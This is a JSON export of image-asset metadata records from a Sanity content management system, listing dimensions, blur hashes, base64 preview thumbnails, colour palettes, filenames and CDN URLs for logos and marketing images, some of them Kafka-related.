{"_createdAt":"2022-06-14T14:41:04Z","_id":"image-185c22ccbd3f4b8ea5aa713a3f78bcad72d1bc1c-160x160-png","_rev":"oamrAPLmQLQjd9jh7Ypz18","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:04Z","assetId":"185c22ccbd3f4b8ea5aa713a3f78bcad72d1bc1c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLSeqEx^Q8qta0s:fkf6f6f6UuVXpcpwk=s:f6f6j[fkQ8kquiVEZ~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":160,"width":160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACa0lEQVQ4ja1VXUtUURSd/+SZVKI06ymI8owzFmMKQVT6oCQ99BJFiUmFlGZDFIUaRVQPFWhFFmJQkT3pQ1GIJWp+9TV3348zZ6849zqfOVlMFxZnmHvOYu2911k3RFKcIykmSAplRcJMUjCZNRLGOkjvY5IiRVK8IykSoVWy7z5RlowtKWDVlhWHLDN72ICkT5okKT4aQmWIDEGGyPyOVoDim0GNNaCmrcFqsHcLqKEatGcTKFqeOeOrlkKHrEhWWZqUGmvYProP7sWT8PovwBvshdd/Hu61brhXz8K93AWn6wjbB3Yw1W0wAtKlcyinF8GLhmp2TrdDjQ5Df54CLy+AV5b8VS/NQy/OQc/PIPVyBM7xZlCsIqe6MIcKhsB2Wz3U43vgH99gHmYGKwV2HbBjZ5CafAunow0UqwxalKPQrz/dN+dEC1KT42CtwToFvTCH1PgY1LOHUCMPMvBuJWC3x/0+ZnoYCSOfMFYJp7Md+v1EoM4oefUcpgV2aywfh3aC4lXZs2sS1lf6hzOEVhJq+A7sllpjE1ir+wpBOaTrEP6EGroNu3lXnopCWH+v8L8TJkssObbGUF6XMpRoeWCbibRtdGCbN2OBXZ7ehxoJ4N0sZhtZYOzWGNSju382tk1FjB1e6+pVwek8DDU6BD0zBV5ZBH9d9le99AV6YRZ69hPUiydwjh0suHqCQ0H8FAmHvlPwBnrh3eiDN9AD93o33Ctn4F7qCNTt354fDpHgLptwLB5fJrqatmUjzMSXGcbujaC63+LLJzRJm/T//KeATYfrqhgpiKSYNoQJkuKDCccSPgEG0yTF4C+xaFzM4BOxqgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#74343c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#580b07","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f45434","foreground":"#fff","population":60.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4acac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5035","foreground":"#fff","population":6.47,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c3c3c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45434","foreground":"#fff","population":60.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"convoy-logo.png","path":"images/sczeoy4w/production/185c22ccbd3f4b8ea5aa713a3f78bcad72d1bc1c-160x160.png","sha1hash":"185c22ccbd3f4b8ea5aa713a3f78bcad72d1bc1c","size":2478,"uploadId":"zocEUNiae5feqm2rmnMEWiwMstrIFfgX","url":"https://cdn.sanity.io/images/sczeoy4w/production/185c22ccbd3f4b8ea5aa713a3f78bcad72d1bc1c-160x160.png"} {"_createdAt":"2022-06-15T20:01:32Z","_id":"image-188500af0c28d797756d36025fda304902ef16eb-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7Xp3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:49Z","assetId":"188500af0c28d797756d36025fda304902ef16eb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWPX:e:gK8-8iw-3T1MxozX9}lxaNJaeWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9AP+uPf+vQP2zSPq2Tvq2TPy3Sv66Tf+9VP+/Vv/BWv/DX/7GY/3IbP3Kcf3NcvXGbMmdVoxoP4ZjP62GTQD/rD38pUH0pUTnpkjnqErzskv8ulD+vlX+wFn+wV3+xGD7w2jzwHjzw4P4yXrxwmvJnV6jfV6Yc1qZc0sA+Kc85ZU/049Bwo1CxpRH5qxO+bpS+71V/L9Z/MBa+8Fh87xx6LN767d79cN19MRt365tzJ1+wJR7sIJeAOaeOrN+O6B2Pp94QKmCQsybSNijS92oTeGsUuOvVei0Z+ezfeWrcO+xXvW/ZfLCbd6tasSRb7eJcbOJZgDamDuYcTqQbj6adkCVcz+Ydj+XdkCmgESog0eqhU3InG3TqorPqX3Vr27Vt3nRuYPEpHengWeTe22XkIMA25k/onc8p35BroRDj28/fGI7gGU9lnVBkXJAkXBEt4xhup+GpqSVnaeYnaugrbmwwcC2t6+nnaKhlKuuAOSePb2JP8iWRsyZSKuCRJt2QZt4QauDQ66EQq6APr2GQraLVaONapeSepiimbnIydzj5s/Y2qq+wZKyuADsozzPlUHNlkXQmEbGk0jCkkjBkEfCkUbGk0bIkD/Khy7HfSHCeSO5gDeynnrM0M3m6u7O296jvsSIrbUA86hB3JxB0pU/zpNBzJVGz5lJ1p1I0ptIy5ZIyZFC0Y4z3Yof3oUUzIQnsJt0xszL5ejs0dreor3Ehau1APusQfOoP/CmPe2lQeqoR+urSfCtSO6tSueoS+SkR+ykQPSmOPOiMNaZP6uhgcHKy+fp7Nzh5KrAxoiqswD+rT3+rj7+rj3/sEH+tEn9tkn+tkj9t0r8tkv7s0f9skX+s0X7sELcp1S0rJHHzc3o6evf4+arv8aEpq96pJMOXSeTlAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303a50","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c2306","foreground":"#fff","population":1.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc76b","foreground":"#000","population":9.68,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8cdd1","foreground":"#000","population":2.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc76b","foreground":"#000","population":9.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48b5a","foreground":"#fff","population":0.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e58e0f","foreground":"#000","population":1.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"188500af0c28d797756d36025fda304902ef16eb-752x405.png","path":"images/sczeoy4w/production/188500af0c28d797756d36025fda304902ef16eb-752x405.png","sha1hash":"188500af0c28d797756d36025fda304902ef16eb","size":142977,"uploadId":"cbgSKtnqlhDeHLJjA2Iz5VOwvBFS6oEl","url":"https://cdn.sanity.io/images/sczeoy4w/production/188500af0c28d797756d36025fda304902ef16eb-752x405.png"} {"_createdAt":"2022-06-16T22:54:07Z","_id":"image-1885472e469f89cf26583bfe8481e692d748d0b2-459x147-png","_rev":"0HOthdQkSgJdYc0C9vxYRF","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:07Z","assetId":"1885472e469f89cf26583bfe8481e692d748d0b2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D34yQB8w.l4Tj;%}8w%~Q-tR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.122448979591837,"height":147,"width":459},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAC4jAAAuIwF4pT92AAABjklEQVQYlU2QT0uUcRDH5/n+fHYVn55cTUFohQVBcebZTTdlZ3zs2Q2S1N3cDQwSQr2FYiRSd8WghVAoew29hG4FddTLeuoNdO7UuXh2PTjwZZjvMH/4kF+MyWPtCmJE49M0MJf06muv168QzdzQZJlySyv09d9ffPrVyZ5dXfqnnQui4H4tHfIhGkJsDGJ3e1lvQyx0YkNObARiObAGHusgWEMXWUBTC0Gr/SF/9OPbvbOry/xp5wLkF2NAbAKsVYhtOLEXTqwJ1kcQW4ZYA2JPIbaeeh5rzWNNIKYe64NCc7Px/OP56vHP74Uvf353F/oQK0N0x4m9cZG9dWL7YH0J0VcQOwDrHsR2IXrosb4G61Z6HKzb/eXqTr7+LH7yrh1SGn4xdhCbhNiai2yjL1qsQ6wO1hZEmxB7DNbEidW6n4u1wLoKsYdgXfFmKss0NV+gYMKNVNeIBmaTlGG2L1q8kyktjWVK8VCXl9goeuxCsN5ykYWZUpxL5aJrpmLDLrLh/rkk2zh5T5vnn+k/NWVZb1KhFKsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#254844","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052c44","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#92cec5","foreground":"#000","population":0.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afcac5","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92cec5","foreground":"#000","population":0.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70aca8","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34847c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_Atomico.png","path":"images/sczeoy4w/production/1885472e469f89cf26583bfe8481e692d748d0b2-459x147.png","sha1hash":"1885472e469f89cf26583bfe8481e692d748d0b2","size":8308,"uploadId":"q8vFQpAEk6VIMqEcntTzkqbnlBewgCbK","url":"https://cdn.sanity.io/images/sczeoy4w/production/1885472e469f89cf26583bfe8481e692d748d0b2-459x147.png"} {"_createdAt":"2022-06-16T22:53:48Z","_id":"image-18a2bd02b66f70a5c219bc64813bd03183f08c88-111x31-svg","_rev":"oamrAPLmQLQjd9jh7ZoFRO","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:48Z","assetId":"18a2bd02b66f70a5c219bc64813bd03183f08c88","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DG8CI3|x]U=0weoLoLjtjZjZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.5806451612903225,"height":31,"width":111},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABKUlEQVQYlVWRsUoDQRCGR5QzYqIE0czezc7OcWdyA6KlT2CnjXY22lsLKUQbQaJutBAsrWx8AJ/Al/BplLmsEIuPmdlZPtj9IaJ+RdT3iHoTUffHbpTBHsDYNVAMawhcApNA8AK4QRCoBClKoJyBi9DuCucBBwjsA0BEfTPZFPV64vT4JK/zPvF6RbLGJD0m6TLJSsL61UQ30ZvHhA8RNU5RX++cnh8UlSKFWki2maRKhIQwSTlHzSQjJml4dl9M+BxR76eoLxOnZ4d5XW1R4JKEmcQnkfVGMQcl2U6qth+Y8COi3kbUq0fUows37IP3WUPlMpNkTGK1k7D5DzvvM8lmeq7NSyb8jqifJoyou0+oi5duBD+d0/bD/+EtoFlI3reBLLSkcGz3CzJaSfEI8zT4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a2820","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c0c1c","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9d142f","foreground":"#fff","population":1.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#871128","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0899d","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#871128","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9d142f","foreground":"#fff","population":1.63,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"breuninger.svg","path":"images/sczeoy4w/production/18a2bd02b66f70a5c219bc64813bd03183f08c88-111x31.svg","sha1hash":"18a2bd02b66f70a5c219bc64813bd03183f08c88","size":8630,"uploadId":"U1Eees2c4WacmMevIDKxzZyQYQ59oN1U","url":"https://cdn.sanity.io/images/sczeoy4w/production/18a2bd02b66f70a5c219bc64813bd03183f08c88-111x31.svg"} {"_createdAt":"2023-10-30T07:03:47Z","_id":"image-18c8ca69ef380427d8631d5cf2ec040f1d8f325d-1200x628-png","_rev":"NgTOJkLjRz9tfm3YdZZUOQ","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T07:03:47Z","assetId":"18c8ca69ef380427d8631d5cf2ec040f1d8f325d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M79j+=9Dnwsk02~p9bxtxsD+4TxqV@jdx@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClElEQVQokUWSWU8TAQCE+wt8UBHpsUgL2y526QELbA+wBWwppS2lEDzCgwdRIyDxoIUeS3dbKK3UYNQXY+TJmBhNNNEYf9xnrFF+wEzmmxnTWfMy/e47+NUNhoNb+AOPUcJ5AtEyoekqgaiBV9VwyLtYnbtYxDKib59IvE0ut09mwWBsss6lwQo9/QVMXbZr+MYfMp3YYSZZYiapEU/XSCw0mMu2SGSPmJ5/jho9wOndwzGkk155h6F/oFnYo7mjk8+fMBE/xuosYeruvY4S3CSWKhFPVZjN6MznDkgtNUktHZFaekE80yYw1WDAo+FRDykaP/j2+SfvjW0+NDU+f/zF2sYn7HId0wXhOiOBDeKpErNprWOYXDwgvdQkvXxEcrHN1FyL4XANu7uMN3jII+0rx28/Yjxd57Cyw6uT79ze+oLoO/qHvM7V+SKzmT+4Veay+52E6eU2yVz7P7LLV2XAZ6AsvOTKWoPErU1i93aJPHiDknyNfah1ajiTLBJPa8RSVWYz9U6HiYUmsVSLyViD4VCtgyxIGhafgTWi058sc2m+ivlKHZtHx+bSMXVZV5CH7xGeesrkTIFgtMDYRAElvIsSLjMS0vCqe7j8FXqlEoKr0lnZHWzhnmgghfdxjtbokzWszjKm8z05Bp03UZT7+NVNJN864tAGQ6PPUEJlRsJ7eMMGsqp3Ouwd1JDHmqiRY0YnW/jUOm5FxyGXsYhFTOe6s/QLi1yWVhHlNQTxLn3SAzxj26gRjfGogT9SxxOq4ZArpwlHD3H5q/S5iwhSAYuYxyyWMJ3pynK2O0uXeZnzthucs65yQbiNxXEfwblJr/QEQdruiKzi32PbXFVsrgrmgTwX7U/otj/mouMZFmeF36IWhytOESj3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444a7a","foreground":"#fff","population":2.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a69","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cdd2e9","foreground":"#000","population":11.53,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8697c3","foreground":"#000","population":0.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cdd2e9","foreground":"#000","population":11.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8765d","foreground":"#fff","population":1.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af4d42","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Quote case social media image template with photo _ Dark blue.png","path":"images/sczeoy4w/production/18c8ca69ef380427d8631d5cf2ec040f1d8f325d-1200x628.png","sha1hash":"18c8ca69ef380427d8631d5cf2ec040f1d8f325d","size":293669,"uploadId":"p1u8r86sTjsshJINnGCORvoJBApGwrsL","url":"https://cdn.sanity.io/images/sczeoy4w/production/18c8ca69ef380427d8631d5cf2ec040f1d8f325d-1200x628.png"} {"_createdAt":"2022-06-30T19:59:19Z","_id":"image-18ef77de7e07eb2c2047cb33c9a0859208c343b1-440x93-png","_rev":"cEPH2uRN58AU2lp9QO7xG5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:38Z","assetId":"18ef77de7e07eb2c2047cb33c9a0859208c343b1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D38XLl~XJWRDb{?0t,DN%d$w","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.731182795698925,"height":93,"width":440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA10lEQVQYlWWO2U7CQBRA+yUEgm0hIWGJdFWm28zUGJEUISqStvr/33DMTDU++HBy15x7naJsqaoWrXuU6hDZB2XZUj98oVSPlB1af9p86HUE2yPzeY3vK3xfW1xXMh7nOGn6SlFckdUg3okLeX61Aq3MkZ66HuSmNvIsuxAGR1arPcvlk42LxSPTaYmzXj8Tx2eiX6ITSdyQJgeisCEMX4jik/1qe9vYuekZyWym8TyJ5yncm2r4cLM5cHf/9iM7I8Q7hdiTBDt8TzCZFBazbPirM0Yj8Y9vPHaKUGMRRHQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0430","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#abacc1","foreground":"#000","population":5.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abacc1","foreground":"#000","population":5.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aff2f5","foreground":"#000","population":0.72,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#649894","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d3c42a","foreground":"#000","population":0.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"18ef77de7e07eb2c2047cb33c9a0859208c343b1-440x93.png","path":"images/sczeoy4w/production/18ef77de7e07eb2c2047cb33c9a0859208c343b1-440x93.png","sha1hash":"18ef77de7e07eb2c2047cb33c9a0859208c343b1","size":16780,"uploadId":"qcUAS1ZKpIxeavxan8QpvHJMH4vEshv0","url":"https://cdn.sanity.io/images/sczeoy4w/production/18ef77de7e07eb2c2047cb33c9a0859208c343b1-440x93.png"} {"_createdAt":"2023-03-15T12:51:40Z","_id":"image-18f10204d838e0153984f352974643d8173f338d-800x800-jpg","_rev":"0lF4kyZBi1fr8QymZ2oWhw","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:40Z","assetId":"18f10204d838e0153984f352974643d8173f338d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBggH/8QAJBAAAQQCAgIBBQAAAAAAAAAAAgEDBAUAEQYhElFBBxNCYXH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQB/8QAGxEAAgMAAwAAAAAAAAAAAAAAAAECERIDITH/2gAMAwEAAhEDEQA/AOjeZzn6+gkPRSQHehQl/HfzmL48bkOwiyIlg9JV40F4HC2hb+f1ln9UeU0tfTSYEqwBuaaJ4tD2W/5mE4jzSphuxpNhI0wOh2Yoi+WKnekU8Sjh2e8YyDAtoE+KEiLLZcZNNoSGmMaTHBtpaTLe+lz575OSJD6oa7616T1k9o9Vx+QiXaiil3rXrGMBlEPCivLGwgzvtRJ8tltQEvEHVRNqmMYzE+gGf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3a38","foreground":"#fff","population":3.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#201909","foreground":"#fff","population":0.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b3a38","foreground":"#fff","population":3.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8a19a","foreground":"#000","population":2.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6dea4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#956a66","foreground":"#fff","population":2.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac4454","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"olaf-schmitz.jpg","path":"images/sczeoy4w/production/18f10204d838e0153984f352974643d8173f338d-800x800.jpg","sha1hash":"18f10204d838e0153984f352974643d8173f338d","size":142318,"uploadId":"xeXCq2JEJecIrI3SkoMhEIGRob4HMjkY","url":"https://cdn.sanity.io/images/sczeoy4w/production/18f10204d838e0153984f352974643d8173f338d-800x800.jpg"} {"_createdAt":"2024-02-06T22:30:25Z","_id":"image-19129ffb0c502afbcfe44448e4280e839b4dc576-1200x628-png","_rev":"aqN8LslQ3cZYmtCXIoCh81","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T22:30:25Z","assetId":"19129ffb0c502afbcfe44448e4280e839b4dc576","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7B{$k0B53}[nFR-_3RoI9tS0t}:#MEnKT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACyElEQVQokR3QXU9TBwCA4RMX41ymU2gL2FNaSqtFChI7R1eFwpGCxfWD9mA/pBwohWMPLS0tH9a2DlYdddkUWKLRZDYx8cJk0ZuZmMyL3e3GZMn+0GvCH3iT5xU6zEkcl1ZweQpclba4KlXwSFVGfbuM+Bp4p5qEYi+Jp/8iPPcRX+hPBoeyGNrtfHXia45/8SXHj53g5EkTus4AgtGawuVZQ7pRYTq8iz/cYDLQYCr4M/7wLwTkfZKLLRT1LaH4O6b8T4mMJZgZdjJsN2HR6RDPtCO2ncNkGEQw9qYYHl1nMlDHH94hEH1IQG4eBaeCjwjfOkBJP6OgPUebf0Jquog6MU41OMj6D5dJTXiYm55Elrx4nU6ETsttBq9ouL0l3N6NI/K163WGvTW+vXaf78d2kYN19tQSr4pL/DYXZFVykZP6qM+6+b2c4s2v2zyrqKjTYwg6MY61bxHHJRXHUBbHUA77QB7rxTXMjiI9jnUCoyqtOzL//XiD9yUf29EJFvzj5CI+nuTjvNtZ5LkWQpv4DuGbjln0pgSdljm6ehS6rGk6LBkM3SvouzVEa47QSIbXqzE+/RTl7V2FB8VNqht17pUq1HJ5GstxNkNeFM8Awil9lDOGKGe7btFmTNIuzqMzpdF3r2Awa4i9a4y4y5RTOzwu7/No6ykHzT9ovXjN4X6L+9UmlUKRfDLGgm8U4awhgnguSo81ifl8GtGewXwhS29/AZuzjG1gm8uePUKxN2SL/3K3+g+Pmy1e7B+yt/OQ2maFvfo9asU8amwWoc0wg1WM4Difwt6/jKVPxebM0e/aoN+1zUVXDbd0iKx8ILvxP9r639xZaaBlVFRFIZ9JUysV2MqtshRPIJzWR2jviKI3xtCbbqM3KUcPjTYNoy2P2bHJFe8BiaWPLBc/EUm8Yvz6EtLYTUL+IPOyzEI8QVJOEL05w2evRYn/rBBlywAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382e5a","foreground":"#fff","population":0.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":6.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#606bca","foreground":"#fff","population":7.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8995c9","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#606bca","foreground":"#fff","population":7.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a27262","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf7b3b","foreground":"#fff","population":5.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka dinner with google - meta data.png","path":"images/sczeoy4w/production/19129ffb0c502afbcfe44448e4280e839b4dc576-1200x628.png","sha1hash":"19129ffb0c502afbcfe44448e4280e839b4dc576","size":581049,"uploadId":"T403Q533BrDdHY57Nc2XAZOomdICPqVo","url":"https://cdn.sanity.io/images/sczeoy4w/production/19129ffb0c502afbcfe44448e4280e839b4dc576-1200x628.png"} {"_createdAt":"2023-03-30T17:02:22Z","_id":"image-191792b1e1af40e8e015bce29c0331cdc9600c3c-1169x378-png","_rev":"Fl2c73WgS9jO0pBHiMJBTl","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:22Z","assetId":"191792b1e1af40e8e015bce29c0331cdc9600c3c","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.0925925925925926,"height":378,"width":1169},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxUlEQVQYlYXLO05DMRAFUO9/J+wAZQH0FDSRoEGCPDvhfcb2jOdn5JcARQqujka3uBMAIMb0eZqmmKZ4Pk1plDTuvKws4r3fM3NVC5BrunzF82VeASoWpEI32FjM1H3XB/PBu5iLeajY5hXmZYOCxMJmf/RWZOisTk2wMbGK7s+Ibd1gWbacCyIhtR+/nRqzqLFoLhUgY65aSYmDiCBirYg4Zndo/2VV3ZdUcsGP1F7e+PU9uLv9H79GVDHX8nzMD4f6+PQNc5tbjffncAUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#585858","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae2e4e","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dc1e50","foreground":"#fff","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbb","foreground":"#000","population":0.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc85a5","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc1e50","foreground":"#fff","population":0.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-external-kafka-details.png","path":"images/sczeoy4w/production/191792b1e1af40e8e015bce29c0331cdc9600c3c-1169x378.png","sha1hash":"191792b1e1af40e8e015bce29c0331cdc9600c3c","size":13828,"uploadId":"CjGOBihHUtl6l86SXrYfLFvUN663QMQK","url":"https://cdn.sanity.io/images/sczeoy4w/production/191792b1e1af40e8e015bce29c0331cdc9600c3c-1169x378.png"} 